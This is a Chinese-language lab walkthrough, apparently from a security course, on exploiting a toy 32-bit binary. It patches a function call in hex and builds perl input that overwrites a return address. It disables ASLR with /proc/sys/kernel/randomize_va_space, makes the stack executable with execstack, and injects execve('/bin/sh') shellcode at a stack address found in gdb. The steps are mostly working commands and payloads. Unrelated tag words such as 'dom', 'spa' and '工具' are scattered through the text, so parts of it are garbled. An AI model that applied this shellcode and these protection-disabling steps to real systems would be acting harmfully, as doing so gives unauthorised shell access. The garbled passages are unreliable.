cp pwn1 pwn5227
objdump -d pwn5227 | more
並找到main函數中調用foo函數的機器碼
shell
使用 vi pwn5227
進行編輯
編程
:%!xxd
顯示模式切換爲16進制模式/e8d7
查找要修改的內容r
將d7修改爲c3,保存並退出將16進制轉換回原格式 :%!xxd -r
,退出sass
再次反彙編pwn5227,發現函數調用已更改
安全
結果驗證
網絡
對pwn2進行GDB調試,運行並輸入進行嘗試 1111111122222222333333334444444412345678
dom
0x34333231
也就是12340x0804847d
生成包含字符串的文件 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
函數
使用命令 (cat input;cat) | ./pwn2
,將input的內容做爲./pwn2的輸入,並驗證結果
工具
apt-get install execstack安裝execstack # execstack -s pwn1 //設置堆棧可執行 # execstack -q pwn1 //查詢文件的堆棧是否可執行 # echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 # more /proc/sys/kernel/randomize_va_space //查看地址隨機化是否已經關閉
注入攻擊
學習
ctrl+shift+t
首先須要找到進程號
spa
101286
gdb attach 101286 disassemble foo break *0x080484ae (運行另外一個終端中的pwn1按下回車後) c info r esp x/16x 0xffffd2ac
0xffffd2b0
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
以後就能順利安裝了